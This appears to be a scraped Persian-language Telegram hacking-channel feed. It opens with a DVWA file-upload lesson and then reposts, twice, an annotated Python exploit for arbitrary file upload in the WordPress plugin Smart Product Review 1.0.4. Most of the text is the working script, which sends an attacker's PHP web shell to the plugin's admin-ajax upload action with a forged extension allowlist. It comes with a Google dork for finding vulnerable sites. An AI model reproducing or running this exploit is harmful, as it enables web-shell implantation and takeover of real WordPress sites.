آموزش آسیب پذیری File Upload در Dvwa
iliyahr
——————
0Day.Today
@LearnExploit
@Tech_Army
* در این آموزش از Burp Suite هم استفاده شده است *
#windows #dvwa #File_Uploadiliyahr
——————
0Day.Today
@LearnExploit
@Tech_Army
#WP #vulnerabilities #Vuln #File_Upload #Wordpress
➖➖➖➖➖➖➖➖➖➖➖➖
✅آسیب پذیری فایل اپلود در افزونه ی Smart Product Review در نسخه 1.0.4
جهت مشاهده ی دمو بزنید.
دورک و تحلیل اسکریپت تو پست بعدی
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
IR0Day.Today Boy's
@LearnExploit
@Tech_Army
➖➖➖➖➖➖➖➖➖➖➖➖
✅آسیب پذیری فایل اپلود در افزونه ی Smart Product Review در نسخه 1.0.4
جهت مشاهده ی دمو بزنید.
دورک و تحلیل اسکریپت تو پست بعدی
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
IR0Day.Today Boy's
@LearnExploit
@Tech_Army
#WP #vulnerabilities #Vuln #File_Upload #Wordpress
➖➖➖➖➖➖➖➖➖➖➖➖
✅آسیب پذیری فایل اپلود در افزونه ی Smart Product Review در نسخه 1.0.
#Google~Dork:
#Download~Script:
Download
خب بریم ببینیم این اسکریپت چطوری کار میکنه :
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅خب داره اینجا لایبرری ها رواضافه میکنه
import os.path
from os import path
import json
import requests
import time
import sys
➖➖➖➖➖➖➖➖➖➖➖➖➖
✅ نمایشی از خودش را انداخته اینجا :|
def banner():
animation = "|/-\\"
for i in range(20):
time.sleep(0.1)
sys.stdout.write("\r" + animation[i % len(animation)])
sys.stdout.flush()
#do something
print("Smart Product Review 1.0.4 - Arbitrary File Upload")
print("Republice By : IR0Day.Today Channel")
def usage():
print("Usage: python3 exploit.py [target url] [your shell]")
print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅خب اینجا داره فانکشینی مبنی بر چک کردن باگ تعریف میکنه
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("No script kiddies please!!" in raw):
return False;
else:
return True;
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅انجام امورات مهم :) اینجا صورت گرفته :
def main():
banner() # Banner ejra mishe
if(len(sys.argv) != 3): #Age toole vurudi kamtar az 3 ta bood
usage(); # ino nemayesh bede
sys.exit(1); # badesh kharej sho
base = sys.argv[1] #argoman 1 ke hamoon targete mesal : google.com
file_path = sys.argv[2] #argoman dovom (inm shelletone )
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅بعضی چیزارو واسه راحتی کار ریخته توی متغیر
ajax_action = 'sprw_file_upload_action'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ; #inja beham chasbunde
check = vuln_check(uri); # khob inja Chizaei ke chasbondaroo mifrestee be function check
➖➖➖➖➖➖➖➖➖➖➖➖➖
✅بعده چک شدن حالا اگه False بود میزنه اسیب پذیر نیست و خارج میشه ولی اگه اسیب پذیر بود میزنن اسیب پذیره و خارج میشه 😐
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
➖➖➖➖➖➖➖➖➖➖➖➖➖
✅اینجا یه دیکشنری تعریف میکنه که تو متد request لازمه ( البته از نوع پست )
files = {'files[]' : open(file_path)}
data = {
"allowedExtensions[0]" : "jpg",
"allowedExtensions[1]" : "php4",
"allowedExtensions[2]" : "phtml",
"allowedExtensions[3]" : "png",
"qqfile" : "files",
"element_id" : "6837",
"sizeLimit" : "12000000",
"file_uploader_nonce" : "2b102311b7"
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
✅تو خط بالایی داره دیتا هارو میفرسته
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅بعده ارسال query چک میکنه که فایل شله هست اونجا یا نه اگه بود میزنه حله دهنشو سرویس کن نبود میگه بعدی... و خارج میشه
file_name = path.basename(file_path)
if("ok" in response.text):
print("Shell Uploaded!")
print("Shell URL on your Review/Comment");
else:
print("Shell Upload Failed")
sys.exit(1)
main();
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅خب این بود کل قضیه 😐🙌 بابا خیلی جدی نگیرید اینارو
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
IR0Day.Today Boy's
@LearnExploit
@TechArmy
➖➖➖➖➖➖➖➖➖➖➖➖
✅آسیب پذیری فایل اپلود در افزونه ی Smart Product Review در نسخه 1.0.
#Google~Dork:
inurl: /wp-content/plugins/smart-product-review/
#Download~Script:
Download
خب بریم ببینیم این اسکریپت چطوری کار میکنه :
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅خب داره اینجا لایبرری ها رواضافه میکنه
import os.path
from os import path
import json
import requests
import time
import sys
➖➖➖➖➖➖➖➖➖➖➖➖➖
✅ نمایشی از خودش را انداخته اینجا :|
def banner():
animation = "|/-\\"
for i in range(20):
time.sleep(0.1)
sys.stdout.write("\r" + animation[i % len(animation)])
sys.stdout.flush()
#do something
print("Smart Product Review 1.0.4 - Arbitrary File Upload")
print("Republice By : IR0Day.Today Channel")
def usage():
print("Usage: python3 exploit.py [target url] [your shell]")
print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅خب اینجا داره فانکشینی مبنی بر چک کردن باگ تعریف میکنه
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("No script kiddies please!!" in raw):
return False;
else:
return True;
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅انجام امورات مهم :) اینجا صورت گرفته :
def main():
banner() # Banner ejra mishe
if(len(sys.argv) != 3): #Age toole vurudi kamtar az 3 ta bood
usage(); # ino nemayesh bede
sys.exit(1); # badesh kharej sho
base = sys.argv[1] #argoman 1 ke hamoon targete mesal : google.com
file_path = sys.argv[2] #argoman dovom (inm shelletone )
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅بعضی چیزارو واسه راحتی کار ریخته توی متغیر
ajax_action = 'sprw_file_upload_action'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ; #inja beham chasbunde
check = vuln_check(uri); # khob inja Chizaei ke chasbondaroo mifrestee be function check
➖➖➖➖➖➖➖➖➖➖➖➖➖
✅بعده چک شدن حالا اگه False بود میزنه اسیب پذیر نیست و خارج میشه ولی اگه اسیب پذیر بود میزنن اسیب پذیره و خارج میشه 😐
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
➖➖➖➖➖➖➖➖➖➖➖➖➖
✅اینجا یه دیکشنری تعریف میکنه که تو متد request لازمه ( البته از نوع پست )
files = {'files[]' : open(file_path)}
data = {
"allowedExtensions[0]" : "jpg",
"allowedExtensions[1]" : "php4",
"allowedExtensions[2]" : "phtml",
"allowedExtensions[3]" : "png",
"qqfile" : "files",
"element_id" : "6837",
"sizeLimit" : "12000000",
"file_uploader_nonce" : "2b102311b7"
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
✅تو خط بالایی داره دیتا هارو میفرسته
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅بعده ارسال query چک میکنه که فایل شله هست اونجا یا نه اگه بود میزنه حله دهنشو سرویس کن نبود میگه بعدی... و خارج میشه
file_name = path.basename(file_path)
if("ok" in response.text):
print("Shell Uploaded!")
print("Shell URL on your Review/Comment");
else:
print("Shell Upload Failed")
sys.exit(1)
main();
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
✅خب این بود کل قضیه 😐🙌 بابا خیلی جدی نگیرید اینارو
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
IR0Day.Today Boy's
@LearnExploit
@TechArmy
Telegram
AttachLearnExploit